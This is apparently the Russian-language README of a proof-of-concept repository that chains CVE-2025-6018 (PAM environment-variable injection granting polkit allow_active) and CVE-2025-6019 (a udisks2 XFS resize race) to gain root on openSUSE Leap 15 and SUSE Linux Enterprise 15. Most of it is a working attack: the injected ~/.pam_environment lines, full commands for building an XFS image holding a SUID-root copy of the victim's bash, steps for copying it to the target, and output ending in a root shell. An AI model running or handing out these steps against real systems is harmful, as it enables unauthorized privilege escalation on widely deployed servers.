
CVE-2025-6018 CVE-2025-6019 PoC Exploit - Локальное повышение привилегий в openSUSE/SUSE Linux Enterprise 15 - PAM bypass + udisks2 XFS race condition LPE до root
Рабочий PoC/Эксплойт для CVE-2025-6018 и CVE-2025-6019 - Повышение привилегий от непривилегированного пользователя до root на openSUSE Leap 15.x и SUSE Linux Enterprise 15.x
| ID CVE | Уязвимость | Воздействие |
|---|---|---|
| CVE-2025-6018 | Инъекция переменных окружения PAM | Обход статуса allow_active polkit |
| CVE-2025-6019 | Состояние гонки при изменении размера XFS в udisks2/libblockdev | Оболочка root |
Непривилегированный пользователь SSH → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Примечание: openSUSE Leap 15.6 достигает конца жизненного цикла 30 апреля 2026 года. После этой даты обновления безопасности выпускаться не будут. Пользователям рекомендуется перейти на Leap 16.0 или SLES с расширенной поддержкой.
user_readenv=1allow_active: yes для действий udisks2./exploit.sh --check
./exploit.sh --setup
# Затем: выйти из SSH, переподключиться, выполнить: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
Запустите на МАШИНЕ АТАКУЮЩЕГО от root:
⚠️ Вы ОБЯЗАНЫ использовать двоичный файл
/usr/bin/bashжертвы, а не ваш локальный. Двоичный файл bash из другого дистрибутива (Kali, Arch, Ubuntu и т.д.) не сработает на цели из-за несовместимости glibc/разделяемых библиотек — даже на той же архитектуре x86_64.
Скрипт автоматически определяет версию xfsprogs и применяет правильные флаги:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
Образ XFS должен быть отформатирован с флагами, совместимыми с ядром цели. Новые версии xfsprogs по умолчанию включают функции на диске, которые старые ядра SUSE не могут прочитать, что приводит к ошибкам wrong fs type, bad superblock при монтировании через udisks2.
| Цель | Ядро | Команда mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Почему? exchange и parent — это функции ядра 6.10+ (включены по умолчанию в xfsprogs 6.x). bigtime, inobtcount и nrext64 — функции ядра 5.10+. Команда совместимости для SP1-SP4 (-m crc=0,reflink=0) создаёт формат XFS V4 со всеми отключёнными современными функциями, который работает на всех SUSE 15 SP.
Уязвимость: Модуль pam_env PAM читает ~/.pam_environment с user_readenv=1 (по умолчанию в SUSE), что позволяет инъекцию переменных окружения.
Эксплойт: Установка XDG_SEAT=seat0 и XDG_VTNR=1 для обмана systemd-logind и получения привилегий allow_active polkit.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Уязвимость: При изменении размера XFS через udisks2, libblockdev временно монтирует файловую систему без флага nosuid.
Эксплойт:
./exploit.sh --check
Вывод:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Вывод:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Вывод:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#